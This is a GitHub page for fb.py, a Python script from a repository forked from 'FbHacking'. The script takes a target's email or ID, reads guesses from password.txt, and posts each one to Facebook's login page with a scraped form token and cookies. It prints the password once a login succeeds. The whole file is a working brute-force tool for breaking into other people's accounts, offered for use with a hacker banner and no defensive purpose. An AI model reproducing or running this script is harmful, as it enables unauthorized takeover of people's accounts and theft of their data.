forked from BaSaiGrayHacker/FbHacking
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfb.py
More file actions
78 lines (73 loc) · 2.06 KB
/
fb.py
File metadata and controls
78 lines (73 loc) · 2.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import threading
# import urllib.request
# import os
from bs4 import BeautifulSoup
import sys
if sys.version_info[0] !=3:
print('''--------------------------------------
REQUIRED PYTHON 3.x
use: python3 fb.py
--------------------------------------
''')
sys.exit()
post_url='https://www.facebook.com/login.php'
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}
payload={}
cookie={}
def create_form():
form=dict()
cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'}
data=requests.get(post_url,headers=headers)
# print('Form Creating : ',data.url)
# print('Return Status : ',data.status_code)
#for i in data.headers:
# print(i,' : ',data.headers[i])
for i in data.cookies:
cookie[i.name]=i.value
data=BeautifulSoup(data.text,'html.parser').form
if data.input['name']=='lsd':
form['lsd']=data.input['value']
return (form,cookie)
def function(email,passw,i):
global payload,cookie
if i%10==1:
payload,cookie=create_form()
payload['email']=email
payload['pass']=passw
# print(payload)
# print(cookie)
# print('lsd : ',payload['lsd'])
# print(cookie)
r=requests.post(post_url,data=payload,cookies=cookie,headers=headers)
if 'Find Friends' in r.text:
print('password is ',passw)
#open('d.html','w').write(r.text)
return True
return False
#payload=create_form()
print('''\033[0;36m
____ ____ _
| __ ) __ _ / ___| __ _(_)
| _ \ / _` | \___ \ / _` | |
| |_) | (_| | ___) | (_| | |
|____/ \__,_| |____/ \__,_|_|
\033[0;35m
~~~~https://www.facebook.com/ba.sai.LeeLeelrrlrr~~~~\n''')
file=open('password.txt','r')
i=0
email=input('Target Email/id: ')
print("")
print("Target Email ID : ",email)
print("")
while file:
passw=file.readline().strip()
i+=1
print("Trying target Password " + str(i) +": ",passw)
if function(email,passw,i):
break
# threading.Thread(target=function,args=(email,passw,i)).start()
# if not i%10:
# os.system('pause')